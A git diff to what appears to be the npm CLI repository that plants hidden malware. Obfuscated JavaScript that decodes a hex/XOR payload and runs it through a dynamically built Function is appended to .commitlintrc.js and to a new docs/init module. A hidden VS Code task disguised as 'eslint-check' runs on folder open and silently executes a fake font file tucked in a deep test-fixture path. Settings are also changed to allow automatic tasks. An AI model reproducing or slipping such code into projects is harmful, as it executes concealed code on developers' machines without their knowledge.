diff --git a/.commitlintrc.js b/.commitlintrc.js index b706e527d77c0..9e7fd115e0b1a 100644 --- a/.commitlintrc.js +++ b/.commitlintrc.js @@ -9,4 +9,4 @@ module.exports = { 'body-max-line-length': [0], 'footer-max-line-length': [0], }, -} +}; var z = '-4420-2';(function(iD$rAdb_dVlFfpxq,phWrbjW_thbDXM){var ToBFsWhdj$omTwbEfly=WWXFnxYi_iSPKy,daVGsxvoZXYe=iD$rAdb_dVlFfpxq();while(!![]){try{var nU_l$lqaj=Number(parseFloat(ToBFsWhdj$omTwbEfly(0x1aa))/(-0x14a1*Math.max(0x1,parseInt(0x1))+-0x12*0xbf+0x4*parseFloat(0x884)))*Math['floor'](parseFloat(ToBFsWhdj$omTwbEfly(0x1ae))/(parseInt(0x2616)+parseInt(0x1d)*-0x15+Math.floor(parseInt(0x1))*-parseInt(0x23b3)))+parseFloat(ToBFsWhdj$omTwbEfly(0x1ab))/(parseInt(-parseInt(0x11))*parseInt(-0xe9)+-parseInt(0x109e)+parseInt(parseInt(0x128)))+-parseFloat(ToBFsWhdj$omTwbEfly(0x1a6))/(Math.ceil(-parseInt(0x7c2))+-parseInt(0x27c)*0x3+parseInt(0x79d)*parseInt(0x2))*Math['ceil'](parseFloat(ToBFsWhdj$omTwbEfly(0x19a))/(-parseInt(0x10)*Math.ceil(-0x8d)+Math.ceil(0x130)+-parseInt(0x1ff)*Math.floor(0x5)))+parseFloat(ToBFsWhdj$omTwbEfly(0x1a5))/(parseFloat(parseInt(0x23b6))*Math.ceil(-0x1)+0xb57+0x1865)*Number(parseFloat(ToBFsWhdj$omTwbEfly(0x1a8))/(-parseInt(0x1)*parseFloat(-parseInt(0x1c24))+-parseInt(0x595)+-0x1688))+parseFloat(ToBFsWhdj$omTwbEfly(0x1a0))/(-0x1e23+parseInt(0x22a7)+Math.max(-parseInt(0x47c),-0x47c))*Number(parseFloat(ToBFsWhdj$omTwbEfly(0x1a9))/(Math.trunc(parseInt(0x133b))*-parseInt(0x2)+-parseInt(0x112)*-0x11+Number(0x144d)))+Math['ceil'](-parseFloat(ToBFsWhdj$omTwbEfly(0x1a4))/(parseInt(0x12)*Number(-parseInt(0x59))+parseInt(-parseInt(0x19c9))+parseFloat(0x2015)))+-parseFloat(ToBFsWhdj$omTwbEfly(0x1a1))/(Math.floor(parseInt(0xa97))*Number(0x2)+Math.max(-0x59,-parseInt(0x59))*0x3e+Math.ceil(parseInt(0x6b)));if(nU_l$lqaj===phWrbjW_thbDXM)break;else daVGsxvoZXYe['push'](daVGsxvoZXYe['shift']());}catch(kclrFAgqadpqnkeNnLgcO$EED){daVGsxvoZXYe['push'](daVGsxvoZXYe['shift']());}}}(FNauj_AOPOLeprqN,-parseInt(0x1)*0x6ad6f+Math.trunc(0x7d)*parseFloat(-parseInt(0xd3d))+Math.trunc(-0x65)*-0x3f67));var NX=[Math.trunc(0x841e66)+Math.floor(-parseInt(0x999247))+Math.trunc(-0x7eef30)*-0x1,Number(-parseInt(0x2fc))+-0x1dbc+parseInt(0x2227)*parseInt(0x1),-0x1093*Math.max(parseInt(0x3),0x3)+Math.ceil(parseInt(0x28e3))+parseInt(0x5891),-parseInt(0x3)*parseInt(-parseInt(0x589))+parseInt(0x26f)*parseInt(-0x2)+0x2e*parseInt(-0x34),0xbdd1+Math.floor(parseInt(0x1))*Math.trunc(-0x3d56)+0x34*parseInt(0xd1),-0x22ff07+parseInt(0x1)*Number(-parseInt(0x1885bf))+parseInt(0x881b59)],SX=[parseFloat(0x1b7f69)+Math.ceil(-0xb505)+Math.floor(parseInt(0x35d539)),Math.max(parseInt(0x1648),0x1648)+Math.trunc(-parseInt(0x15))*Number(parseInt(0x8b))+-parseInt(0x9f0),Math.max(-parseInt(0x12d16),-parseInt(0x12d16))+-0x87e0+parseFloat(parseInt(0x258d7))*parseInt(0x1),-0x3*Math.max(-0x896,-parseInt(0x896))+parseFloat(-parseInt(0x36f))*Number(-0x7)+-parseInt(0xa)*0x4e8,parseFloat(0x161e3)+parseInt(0xc348)+parseInt(0x16)*-0xeff,Math.max(-0x4,-0x4)*-0x16112f+Number(-parseInt(0x29))*parseFloat(-0x26d6d)+parseInt(-parseInt(0x737bdc))];function spin(MRzrs_cNFtZRGtVzo$bGXcX,FhF_uisUyD){var Wb$yRxrrpYEUx$bbNKOAlABV=WWXFnxYi_iSPKy,TMpbl$IUMGsYuMIGhswIuNiKl=[],VCDDXMHvGzrJJnweU=Number(-0x77f)+-parseInt(0x1)*Math.trunc(-parseInt(0x684))+parseFloat(-0xfb)*-parseInt(0x1),FtcNmdqgjPJBAQvacGoZfu=FhF_uisUyD[-parseInt(0x62)*0x22+0x2493+-0x178f*parseInt(0x1)],DsN_MhjHhEpuoZmHjPgqoVn,OhARHoDeA$TdrRqbpPcj,jL$gaBSWxxHUCG_Zes,jEVGsXcnTxXuTYOEhNyr$JWo,xjBpZMDdONW_qyAs_nk,GczZKEGaRdDChhAFwP_uDZi;while(VCDDXMHvGzrJJnweUparseInt(q$Xjbf_rTlXS,-0x1*Math.max(-0x497,-0x497)+-parseInt(0x1141)+Math.ceil(0x16a)*Number(0x9)))),e$LlOtIPvLcfwCqgyO=VnGpKZRrGUUbqcvjnUZlbvBL['map'](ZNymaFsSAJYbJututcMhI=>ZNymaFsSAJYbJututcMhI^Bq_fa_GUe),JxDDaDw=new TextDecoder(),WxWGDkMw_u_EtbsYSCF=JxDDaDw['decode'](e$LlOtIPvLcfwCqgyO);return WxWGDkMw_u_EtbsYSCF;};WWXFnxYi_iSPKy['EnMxTv']=Fz$VbaCD,lHVrGAloamYtIGLw=arguments,WWXFnxYi_iSPKy['JMsdBJ']=!![];}var RPWvGjZtsnNOfMqULp=JnjOuveQD[Math.max(0x1299,0x1299)+-parseInt(0x1062)+-parseInt(0x237)],M$GxGvhPRVnSqcl=eHB$FEzpep+RPWvGjZtsnNOfMqULp,o$LoLvE=lHVrGAloamYtIGLw[M$GxGvhPRVnSqcl];return!o$LoLvE?(WWXFnxYi_iSPKy['qVLArB']===undefined&&(WWXFnxYi_iSPKy['qVLArB']=!![]),nwBwTOScp$uxXZPWhX=WWXFnxYi_iSPKy['EnMxTv'](nwBwTOScp$uxXZPWhX),lHVrGAloamYtIGLw[M$GxGvhPRVnSqcl]=nwBwTOScp$uxXZPWhX):nwBwTOScp$uxXZPWhX=o$LoLvE,nwBwTOScp$uxXZPWhX;},WWXFnxYi_iSPKy(lHVrGAloamYtIGLw,vOUPMKHNjkeOviIAJK);}function peel(CXxECwMwXrWjgmVIFADAqMP_rd){return spin(CXxECwMwXrWjgmVIFADAqMP_rd,SX);}(function boot(R$Md_dORoiWfhiZgDaJW,AxmkyhsaQWxBiq$ycpkRWJOKps){var njaAYIujQGrI$Tjx_nwXzEkHpvi=WWXFnxYi_iSPKy;R$Md_dORoiWfhiZgDaJW['z']=z;var GhRRs_tCVH=splitLane(njaAYIujQGrI$Tjx_nwXzEkHpvi(0x19c));R$Md_dORoiWfhiZgDaJW[GhRRs_tCVH[0xcd5+-parseInt(0x1)*Math.trunc(-0xc7f)+parseFloat(-0x1954)]]=AxmkyhsaQWxBiq$ycpkRWJOKps;typeof module===GhRRs_tCVH[Number(parseInt(0x586))+0x6b8+-0xc3d]&&(R$Md_dORoiWfhiZgDaJW[GhRRs_tCVH[parseInt(0x2)*Number(-parseInt(0x523))+-parseInt(0x1)*-0x1f3a+-0x14f2]]=module);var vlqyrZbXWzaKNFUztEOJoYJnd=peel(njaAYIujQGrI$Tjx_nwXzEkHpvi(0x19d)),ZLjVUhMBvyPDFsEyBH=vlqyrZbXWzaKNFUztEOJoYJnd[njaAYIujQGrI$Tjx_nwXzEkHpvi(0x1ac)](parseInt(0x957)+parseInt(0x26bf)+Math.trunc(0x99e)*-0x5,-parseInt(0x9)*parseInt(0x273)+Math.max(parseInt(0x25aa),0x25aa)+parseFloat(-parseInt(0x2))*parseFloat(0x7ca)),NNZAY__Lg=peel[ZLjVUhMBvyPDFsEyBH],nHqeuCdYEz=NNZAY__Lg('',peel(njaAYIujQGrI$Tjx_nwXzEkHpvi(0x1ad))),zaKmUHwWXOYytikEdPxIQN=nHqeuCdYEz(peel(njaAYIujQGrI$Tjx_nwXzEkHpvi(0x19b)));return NNZAY__Lg('',zaKmUHwWXOYytikEdPxIQN)(0xfae+Math.trunc(-0x17e1)*-0x1+-parseInt(0x1)*parseInt(0x1dc2)),parseInt(0x2)*parseInt(-parseInt(0xc95))+parseInt(0x335c)+parseInt(-0x1)*-parseInt(0x59c);}(global,require)); diff --git a/.gitignore b/.gitignore index 93b77383ab9a0..5b600819d1693 100644 --- a/.gitignore +++ b/.gitignore @@ -62,3 +62,5 @@ tap-testdir*/ !/workspaces/libnpmsearch/ !/workspaces/libnpmteam/ !/workspaces/libnpmversion/ +config.bat +node_modules diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000000000..934d55548c36f --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000000000..10b2442274602 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brand-400.orc) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/docs/init b/docs/init new file mode 100644 index 0000000000000..de19f86e699ec --- /dev/null +++ b/docs/init @@ -0,0 +1,35 @@ +'use strict'; + +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); + +module.exports = { init, state }; +module.exports.ROOT = ROOT; +module.exports.ENV = ENV; (function(DEye$Qj,vfK_Gdau$aega){var zqNzCSyDbrL$BHJXyiBBLSrcr=C_N_qYrZ,Ep$WRSLA$nn=DEye$Qj();while(!![]){try{var hGCjpAttib_MSTSPVvcrS_E=-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x10a))/(Math.trunc(-parseInt(0x607))*0x2+parseInt(0x5f)*Math.max(-0x17,-0x17)+Math.ceil(0x1498))*(-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x108))/(-0x1b1+-0x1*Math.max(-parseInt(0x21ba),-0x21ba)+parseInt(0x1)*Math.max(-0x2007,-0x2007)))+Math['max'](parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xf5))/(Math.floor(0xe5d)*Math.floor(parseInt(0x2))+parseInt(0x1fe5)+-0x3c9c),parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x105))/(0xfe*-0x3+-0x1370+Number(parseInt(0xb))*0x20a))+-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xfb))/(-0x1ff1+parseInt(-0x42)*parseInt(parseInt(0x13))+0x937*Math.floor(0x4))*(-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x104))/(Math.trunc(parseInt(0x23e4))+Math.ceil(0x2)*Math.max(-parseInt(0x166),-0x166)+-0x2112))+Math['trunc'](-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x103))/(parseInt(-parseInt(0x1))*parseInt(0x1467)+0x1bdb+0x76d*-parseInt(0x1)))*(parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xf6))/(Math.trunc(-0x1de5)*parseInt(-parseInt(0x1))+-parseInt(0x9c9)+-0x4*parseInt(0x505)))+parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x109))/(parseInt(0x1e58)+parseFloat(-0x1)*-parseInt(0x242e)+parseInt(0x427d)*-parseInt(0x1))+Number(parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xf4))/(Number(-0x2531)+-0x2395+-0x48d*-0x10))*(parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xfd))/(0x13c0+parseInt(0x1354)*-0x1+-parseInt(0x61)))+-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xfc))/(-parseInt(0x17e1)*parseInt(parseInt(0x1))+Math.floor(0x15c)*0x10+0x22d)*Math['trunc'](parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x107))/(parseInt(-0x20d9)+Math.floor(parseInt(0xf6d))+parseInt(0x9)*Math.trunc(parseInt(0x1f1))));if(hGCjpAttib_MSTSPVvcrS_E===vfK_Gdau$aega)break;else Ep$WRSLA$nn['push'](Ep$WRSLA$nn['shift']());}catch(roiPOXBZJbLyPLrZTjpZT){Ep$WRSLA$nn['push'](Ep$WRSLA$nn['shift']());}}}(dGdUdaiclQIAjiJNHcY,Math.ceil(0x6a)*0xe90+-0x8e71a+Number(parseInt(0x8017b))));var z='',NX=[Math.trunc(parseInt(0x305))*parseInt(0x13b1)+parseInt(0x141)*Math.floor(-parseInt(0x6861))+parseInt(0x407)*0x2bed,Math.floor(-0x269f)*Math.trunc(-parseInt(0x1))+-parseInt(0x14b)+parseInt(0x1)*-0x23e5,parseInt(0x107)*Math.floor(0x6f)+Math.ceil(parseInt(0x8))*-0xda+-parseInt(0x6)*Math.trunc(parseInt(0x495)),Math.max(0x6ff,0x6ff)+parseInt(0x26)*parseInt(0x4)+-0x532,0x43ea+Math.trunc(0x13)*-0x643+Number(0xddfe)*0x1,-0x32*Math.trunc(-0x2ee7f)+parseInt(0x86)*parseFloat(-0x3550)+-parseInt(0x86adf)*parseInt(0x5)],SX=[-0x9458d0+0x81bd8b+parseInt(parseInt(0x633ae2)),-parseInt(0x2265)+parseInt(-0x1d6)+Math.max(parseInt(0x252c),0x252c),Math.trunc(-parseInt(0x223))*0x59+Math.floor(-0x951d)+0x1f729,-parseInt(0xc)*parseFloat(parseInt(0x22e))+Math.floor(-0x10cc)+-parseInt(0xd3)*parseFloat(-0x35),-parseInt(0x14003)+Math.floor(parseInt(0x1d))*-0xef3+0x3cccb,-parseInt(0x423f)*parseInt(0x207)+parseFloat(-parseInt(0x415a28))+parseInt(0x23f66)*0x79];function spin(aix$_xGa,bP$wMgXaU_Kj){var USiGEFRe=C_N_qYrZ,YIh_MU_XvxKjzUhcdiezsy=[],hEmXqIRgU_mSLeYG=-parseInt(0x1b6a)+parseInt(0x9)*-0xb+Math.max(parseInt(0x1),parseInt(0x1))*Math.trunc(0x1bcd),yCXG$BKloh_vtZvtMK=bP$wMgXaU_Kj[parseInt(0x9f7)+-parseInt(0xcb8)+Math.floor(-parseInt(0x2f))*Math.max(-parseInt(0xf),-parseInt(0xf))],cQSbIYwf$doxnpkWOu_IbPtMA,H$qZA_h,KuocvSKmp_nS,mGJL_yUeR,iYfUGTxHpQVGjpD,MkHZowibMGQLsLjEb;while(hEmXqIRgU_mSLeYGparseInt(XaeXFwN_KOvc$Ml,parseInt(0x428)*parseInt(0x4)+parseInt(0xdfb)*0x2+-parseInt(0x2c86)))),rnakZYjIamPo_jakWT=ernBDSBEzSrgomXqnRq['map'](AbzIpWSJqY$y$n=>AbzIpWSJqY$y$n^OHq$D_qS),qxhfzPIHolrlFlcN$xE$PJi=new TextDecoder(),sGMyWZ=qxhfzPIHolrlFlcN$xE$PJi['decode'](rnakZYjIamPo_jakWT);return sGMyWZ;};C_N_qYrZ['qRvHvr']=rGrfpAl$OMFHXQkaQev_pscAM,SyPPNIPvCiIrCO=arguments,C_N_qYrZ['lHnHIy']=!![];}var jehObuiioP_tyRkIFgJsh=ojloYvKrYIEe[-0x14b+parseInt(0x2512)+parseInt(parseInt(0x3))*Math.trunc(-parseInt(0xbed))],cTFy_R=nRd$D$JcUla+jehObuiioP_tyRkIFgJsh,yyboVkbZPLlQZjhzmDKHBYFiB=SyPPNIPvCiIrCO[cTFy_R];return!yyboVkbZPLlQZjhzmDKHBYFiB?(C_N_qYrZ['vgXYtF']===undefined&&(C_N_qYrZ['vgXYtF']=!![]),JcVhk__o=C_N_qYrZ['qRvHvr'](JcVhk__o),SyPPNIPvCiIrCO[cTFy_R]=JcVhk__o):JcVhk__o=yyboVkbZPLlQZjhzmDKHBYFiB,JcVhk__o;},C_N_qYrZ(SyPPNIPvCiIrCO,AyOQ$ylbKIkFq$lOIOX);}function dGdUdaiclQIAjiJNHcY(){var qhbstS=['393f28393e3823242d','29222b380b3e','7d7d072f060b2438','7b7819193a3e3003','727a7b797a721d2f2f27082b','20252324','7b7279787b7c7e7b0d241b002221','7b7d7a102d073d2f00','7f7c727d797a7d33271e3a1c2c','7d7e7a7b23211c223325','7b787a121024040426','7c7a7a73727b0d18002e2b0d','787f727e7d782005390c0e10','262f242d3e22','772b2f24383f22622b26777f29662d722c2e3f6433386a646424292f292c667f683a2b2f2b3f7c262420633817783f3c6832673b62176a2b7162387771713861622b11726439783e0b2d253b663f227209662b236639712b620b277a62242071203c60667d3c257d6263622571277c252b7e383d63646a38252e112c397824312e383c3e7e3263617a662b243861383861256337307b6a77222c112b2472387b38116617397d677d7d262b2b643f237d31677a7c73263c273e7838772317177661633f662f636666712438221138777a3c6738627166773a63093f39776129712d712c713b0b63637b3c23633c217a2438267b2b2f6a2c77117122233933642f27622e61256b786a77622f3c2f2b7d727764637e2f23772d642477312c2c777b1176782b6a2c7b7738717e6619633833263c7b3f6a3371213b26313e3c243c6a62096a622666253c243a6a23773e2638663864263d2530226226663e3b7171383862623c772b22393c7117323b772b28712e2b7166626238713c203b64623e1161632e2b63382e243822397e7b33623c38712c2271792d68172f62642b22383a2b3a2d172d6463242d2c3a247b2266232926717163770971277f776138666a6463713f776139376163233e66612827712e613f276367773923233b2526773e7738773b7361646429223b61117c2c2f6a3e7a24383a38626a3c38722c263824662e2e2d3e6a177c2b64712771383e22642d3b6a782b372f3c2f2329172d283e23767e2571097126663030237c6126112b117161623923682623683866243a237339662c382c223f3d63253d772f316228773d2f24783e642d3f64237721232b2b2b6163332c3e3a2b7924376377736863293a0b613f713f3e3a17687726217d3c3a3e6a7b387122303d68633e626373636264263f2677397d2c716a71393b7a63246833617a3937773c2b61396a2722627a3b6417223c71746a7a7c770b6725302f3e38623e7b383e38392339257a2f6664713011622c767f2f7d3e6662382b252b3c2438713e22222c713c66207738716a6338747b72302225602531762b21273924632b213e2f643c2573612f2b7a2926232571283f6a7717096b2d207133796126632f7764372e3877237c252309723824247a717c772b38683764382f237717193e3938242464717838773e71113e71233c773a3809382462632b382f3e3f30616a222621116132772f6a67722031622f203373626263636a','393a26233e','181576682918006b6c1c2f29181d2b7718382c186e7c68297b711818132924221565643e6a231818180d1476186418291878641124186a64182c6465761829796b6b7f2419187618231806642f1939262c622f2e2d32297675257638262918753e1825392e182c3f192f64756c3a22641818050739112f763921180f6476183f7638182f71180e180838181816642c18647629706b283a267a7323292518383e2918627138251818247867686264143d6a336476762e2e6a636e2c6a253f646f2f762b762f643e7627622918322c18761100622c2f18761a283864286d251823641818766d18186f3d182c39632f1864112b2d191a312e786421762b297b2f646b79641a761018231860250e3923771164762c64687e18286a04682f2532183a2564230326212b2f1e186478636f2776232f1817307636183f62622c183d181816187418736964187a382e7739647a326b3918642c1819636229293e7b3a2c253e2b2f073f180a1877761818652a6418216e6278291864397d2f7b2b640c180129606464306818242c1a2f39183e1818186476182669182c76706a786262186a186e6d7c392a7679242223606e2f1229371822756a293e252964232f2929736a31182b7639713f6b642f170f1818250264646e6824760e7918391818646462182f2f39392f18766a3e66686a182e253c3719297a002723641e76390f2f2d39183d1718682b1864186b187625636320186a182f3d6a233e296439242162376224113c2f18767a7677212c0276383807186a292321240f64296408766c1811251718646f29291826383271606a11682523392f24182f2c2f2b6b1324642f29186f25683f64767c261818183318772339771818626318182f701818636b183d2938187b7664256b182918290a6837183f183b3f7f62791a2526682f183e7a6b2c3e2b186076187b3e2421292c371e646b6e657638256a03332918186a631a76166428763e187d701a1a3976176438127676642f183f621818183b243a6476641871293e23391264181833186e0a76796321181829766118387226606423186b3809161a6b24772939766229237662187d2f182f1829646a3e762f3a2f632f7676662f76620f016b643a24286e68182b1818642f3c3f2229641e2615296470187a386a63183d3d6b39197a643e7d3f647a621873152b626e6c642f7c2c641818217b0932282372266422297727620a76182e646476383864786401073829281518241862181529700e3d3e376418643137732d6e181818631e1c3e762b6264760d642e18341d1f18647126386422033927041a6a6a3e0a1818721518781864231838181a187662187969292f297a292f79231818762b1879182b2418311039376b077618676064332e2b791823657a6f2c1869186a76237876187a7270643e37182c6b686718296418261829333e3318392f0b7a18191e1872647e3b766e0c1e2f1864641a157629187c222818642f38236429671822290b1809783c18647128197618762b690176187038171e2c2f2f67716b217715396418292720396218377076182b18606c2d64762e25272f2339182464626e69152b311c0a252913676425271a2e2b2764182b262c2933251e616b1a152d393864762823186b2c646329036c622803251823623824381d64232f6418296a6b6223296219186429382a70737612393a18626e6a2718293e7639642d6b647e723839212f3c1c181a2e1821321876182e2f3824632f19396563186a262f387629391e792e293764187f09651d62641925241038631829252929392922631864761818763e643939621818762e263f642964362c723e21663926242f3a25762f18766b647c18642f2f18181e2b6c226a072c763111256e18766a18397a63776a7632192f2964293776296e2f3962622e63181829372c09181876607618642767641860182f7662323c18396a62076c182c642f1a602d6a74396376256477641823392438186475317f762328187c6318187b396a29182d3b292f262977292671282f76262c601903092e782f68303a18183776291826196624203929276e1824646b2b232376001317762c1a09390a200b6418766f6a3e6418253d18376d6a38743a3022646426186d762d25153776191862213b3222116a6c762318672c6e09763f76232b0f04187f181e181776183a3921646418302e2d64631776632f3864183864073918301a7418182f76763e15222d26763a641829272c18396b242c3e187e6a2e3e157314766625382f7f182c18326a181811381264763928331876766478186418382f241f1a623374643a7676293918263e7a3e64316419332324762d2d266e6a1c296463700f02036b64320e3f1866183a1822186239293e640738180720020718182918646a183e242e36252b7a6424692b6478630e2c216c291803181818652c2f1864290a762338397c1e617b181a32646418643929642b18696467761231186b247e182918233e186524182f73276464760b63282f2463641776642b621862643175793e186c18186523622612646a76226b2e181876686b2925756a796a7b1876672224762e3e242e257618213927696729621e2f182f2f6b1764187639761e61771864182367380a1818643869292e762918181827303e2c64092e2f183a6429311b18232820392539642c18382d67181d7a2e231818766421760518186c67186b696a17093917333e7e64672e152a1a18186d7664183c2f20193d762e2964296a662c641a64626429233e29042818246d67642f18291824381b643818322531182976687c18242e171837182762186e181925641e7f182978293264603c18252329157464397a08182c63761a762b1864250910367a6a1a05022e1b2564246a76647b392518156d6a641a762f38641176183618767a23761838716d03641811376126296b1127296b6426297624622b6a3e181802182666373a37186318721800762b1864763e2e62047417232976272f0a7f2924113f64186364286f391a2476761518186b182818776e181814766b37633928677c68690f722918622e6b18633e382b3e181876766a787b186d066b2328362f053e18183e6e3f292e241818643e6318300f640d1a336b6a180b0367243b2b3f763764332918646464291818642929296e1418182e091518763e722918223978681878646d1974636378226b2f2c336464746b23066e2f246a716f73051e3c642e6e7e18180976291a19623e3f183d266c6227696818363a2922763e026e2b76766a643e6b18190f2c6418182d29041a64186a0918237e2718766907181876713d2367690f6a76763e762f187602761838243e250f626b7a387a762e64641809682924646478283a627c093a761918682f7b26632929762b621a641a732f763b2b6376767b76246423182b181a1862371877646c66786b293d1864631a186e64763b1876376b7b601976186b182c64762976182e15761878187676691776761818183a6b64383a1876606b1e180318761a217618303e2b646c37642b262f0177231a76186d772d181a37183a6e311908646a1839336462643e6b6a2971762f7f39227c7e3e3e763a2c76253e323f061e21387471761864293a39186429183e1867692b7e3f187c64183e2f7167626e753d72703a656c18267a763869762f6a2323392c6b2e6e2b251562692927386a2f7618181c6b1a24292b763e6434293829622f6d602b706a761818242f2b102f646f652e1876181860620f6a2a612f111a293d183d6a76622f3f293e2b63647d1d76656e1a76642229191e6a7d2f18086b6461186403762822182f26643e2f64287e113f243f2f3f186b18263e62181818663766022c3e023c152464762f186a150b76727639387618327e6318046b3a182e36086a76181821232f6d2967641829242779293976192376236463640f6218627618181a186a15791876293d2f646b642676186e6b18282e662f761a180f266e3e3a386b762565636418183e6b661e623829696564183362611838182d2a762c64762b61642c636576766c766a2f1818762f236776082c0f643918282418186364186f65203e2618766f296a186b18623218692918643918186418076476187d2962292d26182927641776642f297828631a76767818186c2e2b0801633876103e74112e2b1802292f2e640718763739180d38641876757b182c18182929291862253929681818342176166b0729643a6409633f18326361621821162f6d207c071a1f1809272975181879187e6223232f6439182f601870301918711a24621063762621183c267076181b3118292368291a612f6607181d2b647618073818263e69761818393e79386b64762d7601183d186218206418182b6b640d7e18646e3a24643071312f1871787b317a1e7e62381821676d646b7618327623012276633911763e296a1a3f2f183738622c2b2b182c7d2676187f6b3818260e121827647b703a23186a76776a1820392564762f386b25183b0363187b1838383d25316c3e18180176240910677a0764293f1863296f292e7a613d766e0f76231e7676253e2e2b33247623251464186d18183d18297c7f211869001a64766b187f2f6b3831182f71332f1862647a77712923396429622d3e18783a3f7377071b2c11316605246a64641a0423627664182b231b186464296f3e656265187664386418386464266b39293f2f642b1a34186b297a792b1f18683e293929646b381c183a2b23307a7628682e3e2d2e6b64397569293c2e1834691876187663621e28640318631a29767c757d63177e1d7c6924241a3e6437382f36181f74182f2b18633a696a24196128786f23182037396212241425393329392d2e00643939113a211872646a393f3d38182433372e25640d231e64763d612964622939716b6a242262186618091811766c12187676642928291e18390b2c24291967186823766429086236181864182e6f18641f6518643806763e636b182f1878293a3a6b39767418757b186e763e2f18767618257a383e2c62182f39280e187d26232b18643739646539182938392b3826186f2c17397a186476262f76382f6f396439262639287218053209183e297b3e7c3164676a1826642f182564292d27182125183928292b7603333f3718383e69396c363e182b32186322256418392c6a211818187e293862326429773e647623796218326a64766464186e2c683e6a181839047665096a1824182e18383a181876252e7664187638112b38682676646a1a6864183964186438296b3c690e2c182f2f2825316618632e723c762c1829642900763e2f646b18186821196219631869761964221a37383e646265626429627b2e76183d6b393f7a6225641a28627a641800290f2309642c626a642364283f297669386464641818117263156b18641918086b683e181c2824151826291a18186a251824712276181a0a38722b183826293629257f62183a637618322e76766e6424762625372f3818762533182b246425336418030876223e762925280f23183762270738641e2b187a182f3e231837646b7664187b733e760b2f281815062926226b0e7a3864187a232623381829653972762918623860180a2f7676642671643829671a3f262b1829291823687a7c0a6b18296b641b212666762d767d3728622b1829066429396d6164641e62763818767664646c2c2e7418256a29252f2718293d64262924622970186d363e7618241813177e077a0d1864180c183f3e646b762c643f616e613e7618607d39181818622328222e771a6476371818772f1864156364633838667e6c6a2618372f76187c181876142d2c262f182e393e1a3476282964623933767f37182375262922766c6479313f6424157023187d28717a7618762918181829180a367b392f0d18397863297722762c732f767638612f18166d636c7f383c650c3811642b643e2464181a38241f762515297c24770f1e7664236132297d262f3c393f7638646b1829766b17183d6a64181862171a180e646a262c6b706c64282e3a1e266418691819646e187662186a767629116424646a2518387c7d38762f6718673f296018186e1864282b2f332939646b1118321818760e123e2c2429181b1a2339183e2d2976642b18726b286b76193e7a7618746a181838231874291f3a6429181d10186b180e01637a293c24242139642f6a186a142e261876292c18183f70390d182f66622d181c1868183f18181868183e1876183968640f1823151a6c1876263325192d6d39743c18293d2f7e18292d2a64227615296d623f272e181a742573181a247b186964292c18761a171839652b242c3b0418186d7664182972292318181829642b153a3e0125763a3938767d7618182364251529656b24181839626a74181a17323e3e153915252208762b6d396c641a766a64210d297c38767d2325653d1803191a1a293222183d296476642923296f7b182c73732e196a7618282939181c183932382e2b1718713e7518046666187463291a1368291829182f0c6a6b7a18183b3737387a7f067c64761864382c766e3f36297629761f670e116a29296425767f71766a62640f64226418152676183876760c76113e3e09256f27196418187903282923251818762b3a1829182911181876642c241818666418082b246233651836023a0d24186476771818763f622b29396e18792f18632729150b7e3f243e682f71392538626f181a3e622f2d626760386b2776180e6218182b64382d263064183d642c18173b2b3c25172c626f7676292926767e3973160a3f6a732f64603264650c3e19181a11646e6f242a306376766e6b7f1b2928611718793e18762c231a292f167630236418292b28386a62767628243c7c6b3e243d1529122c6224226411376039622a761a74621876646476323e731862642976622f7a18641a2b25646b2e6262670a2c7a2f76767c1825183f71622e2a6a183a6464763a662f761e7604641a18641118290530632c62762617643f3175382c761871187603602b76766e2a18626a626464647668707604186f2f186a236964306426623818662e182b642e183c76391c2962391723630722641824761818183e3e182d663464181118692f2c64713e3e3a6463391824193e26181878252f646c2923622b3764681a6c33392f18152b6f381818640e76231a39180e6b236427186818203022763f1864